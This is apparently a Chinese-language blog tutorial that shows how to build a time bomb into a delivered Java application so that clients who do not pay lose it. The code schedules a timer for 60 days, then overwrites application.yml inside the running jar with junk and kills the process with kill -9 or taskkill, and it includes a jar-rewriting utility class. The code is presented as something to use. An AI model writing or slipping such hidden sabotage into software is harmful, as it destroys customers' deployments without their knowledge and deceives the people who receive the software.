java 防止別人賴賬，一段時間損壞jar包

1.寫一個定時器，在某一個時間點損壞

    Timer timer = new Timer();
//    參數1:任務;  參數2：第一次執行時間;  參數3：任務間隔時間(毫秒)
      TimerTask task = new TimerTask() {
         public void run() {
//損壞代碼
            addTimeMake();
         }
      };
      timer.schedule(task, 1000*60*60*24*60);

2. 代碼

private static void addTimeMake() {
      // 當前進程的名字
      String name = ManagementFactory.getRuntimeMXBean().getName();
      System.out.println(name);
      //進程號
      String pid = name.split("@")[0];
      System.out.println("Pid is:" + pid);
//
      //獲取運行環境
      String os = geTpropertName();
      //損壞配置文件
      try {
         updateApplication(os);
      } catch (Exception e) {
         e.printStackTrace();
      }
//停止進程
      closeLinuxProcess(pid , os);
   }

3.損壞代碼（損壞配置文件）

private static void updateApplication(String os) throws Exception {
		//獲取當前環境
		File directory = new File("");// 參數爲空
		String courseFile = directory.getCanonicalPath();

		String a = courseFile+File.separator+"aa.jar";

		System.out.println(a);

		JarUtil.readJarFile(a,"application.yml");

		String data = "meile";

		long start = System.currentTimeMillis();

		System.out.println(start);

		JarUtil.writeJarFile(a,"application.yml",data.getBytes());

		long end = System.currentTimeMillis();

		System.out.println(end-start);

		JarUtil.readJarFile(a,"application.yml");
	}

JarUtil工具類

import java.io.BufferedReader;
import java.io.ByteArrayOutputStream;
import java.io.FileNotFoundException;
import java.io.FileOutputStream;
import java.io.IOException;
import java.io.InputStream;
import java.io.InputStreamReader;
import java.util.Enumeration;
import java.util.Iterator;
import java.util.Map;
import java.util.Set;
import java.util.TreeMap;
import java.util.jar.JarEntry;
import java.util.jar.JarFile;
import java.util.jar.JarOutputStream;



public class JarUtil {



    /**
     * 讀取jar包所有的文件內容，顯示JAR文件內容列表
     * @param jarFileName
     * @throws IOException
     */
    public static void readJARList(String jarFilePath) throws IOException {
        // 創建JAR文件對象
        JarFile jarFile = new JarFile(jarFilePath);
        // 枚舉獲得JAR文件內的實體,即相對路徑
        Enumeration en = jarFile.entries();
        System.out.println("文件名\t文件大小\t壓縮後的大小");
        // 遍歷顯示JAR文件中的內容信息
        while (en.hasMoreElements()) {
            // 調用方法顯示內容
            process(en.nextElement());
        }
    }

    // 顯示對象信息
    private static void process(Object obj) {
        // 對象轉化成Jar對象
        JarEntry entry = (JarEntry) obj;
        // 文件名稱
        String name = entry.getName();
        // 文件大小
        long size = entry.getSize();
        // 壓縮後的大小
        long compressedSize = entry.getCompressedSize();
        System.out.println(name + "\t" + size + "\t" + compressedSize);
    }

    /**
     * 讀取jar包裏面指定文件的內容
     * @param jarFileName jar包文件路徑
     * @param fileName  文件名
     * @throws IOException
     */
    public static void readJarFile(String jarFilePath,String fileName) throws IOException{
        JarFile jarFile = new JarFile(jarFilePath);
        JarEntry entry = jarFile.getJarEntry(fileName);
        InputStream input = jarFile.getInputStream(entry);
        readFile(input);
        jarFile.close();
    }


    public static void readFile(InputStream input) throws IOException{
        InputStreamReader in = new InputStreamReader(input);
        BufferedReader reader = new BufferedReader(in);
        String line ;
        while((line = reader.readLine())!=null){
            System.out.println(line);
        }
        reader.close();
    }

    /**
     * 讀取流
     *
     * @param inStream
     * @return 字節數組
     * @throws Exception
     */
    public static byte[] readStream(InputStream inStream) throws Exception {
        ByteArrayOutputStream outSteam = new ByteArrayOutputStream();
        byte[] buffer = new byte[1024];
        int len = -1;
        while ((len = inStream.read(buffer)) != -1) {
            outSteam.write(buffer, 0, len);
        }
        outSteam.close();
        inStream.close();
        return outSteam.toByteArray();
    }

    /**
     * 修改Jar包裏的文件或者添加文件
     * @param jarFile jar包路徑
     * @param entryName 要寫的文件名
     * @param data   文件內容
     * @throws Exception
     */
    public static void writeJarFile(String jarFilePath,String entryName,byte[] data) throws Exception{

        //1、首先將原Jar包裏的所有內容讀取到內存裏，用TreeMap保存
        JarFile  jarFile = new JarFile(jarFilePath);
        //可以保持排列的順序,所以用TreeMap 而不用HashMap
        TreeMap tm = new TreeMap();
        Enumeration es = jarFile.entries();
        while(es.hasMoreElements()){
            JarEntry je = (JarEntry)es.nextElement();
            byte[] b = readStream(jarFile.getInputStream(je));
            tm.put(je.getName(),b);
        }

        JarOutputStream jos = new JarOutputStream(new FileOutputStream(jarFilePath));
        Iterator it = tm.entrySet().iterator();
        boolean has = false;

        //2、將TreeMap重新寫到原jar裏，如果TreeMap裏已經有entryName文件那麼覆蓋，否則在最後添加
        while(it.hasNext()){
            Map.Entry item = (Map.Entry) it.next();
            String name = (String)item.getKey();
            JarEntry entry = new JarEntry(name);
            jos.putNextEntry(entry);
            byte[] temp ;
            if(name.equals(entryName)){
                //覆蓋
                temp = data;
                has = true ;
            }else{
                temp = (byte[])item.getValue();
            }
            jos.write(temp, 0, temp.length);
        }

        if(!has){
            //最後添加
            JarEntry newEntry = new JarEntry(entryName);
            jos.putNextEntry(newEntry);
            jos.write(data, 1, data.length);
        }
        jos.finish();
        jos.close();

    }


    /**
     * 測試案例
     * @param args
     * @throws Exception
     */
    public static void main(String args[]) throws Exception{

        //
        readJarFile("C:\\Users\\Administrator\\Desktop\\1\\aa.jar","application.yml");

        String data = "helloBabydsafsadfasdfsdafsdgasdgweqtqwegtqwfwefasdfasfadfasf";

        long start = System.currentTimeMillis();

        System.out.println(start);

        writeJarFile("aa.jar","application.yml",data.getBytes());

        long end = System.currentTimeMillis();

        System.out.println(end-start);

        readJarFile("aa.jar","application.yml");

    }

}

 

4.停止進程

 

/**
	 * 關閉Linux、windows進程
	 * @param Pid 進程的PID
	 */
	public static void closeLinuxProcess(String Pid , String os){
		Process process = null;
		BufferedReader reader =null;
		try{
			//殺掉進程
			if(os!=null && os.indexOf("linux") >= 0){
				process = Runtime.getRuntime().exec("kill -9  "+Pid);
			}else{
				process = Runtime.getRuntime().exec("taskkill -PID  "+Pid+"  -F ");
			}

			reader = new BufferedReader(new InputStreamReader(process.getInputStream()));
			String line = null;
			while((line = reader.readLine())!=null){
				System.out.println("kill PID return info -----> "+line);
			}
		}catch(Exception e){
			e.printStackTrace();
		}finally{
			if(process!=null){
				process.destroy();
			}

			if(reader!=null){
				try {
					reader.close();
				} catch (IOException e) {

				}
			}
		}
	}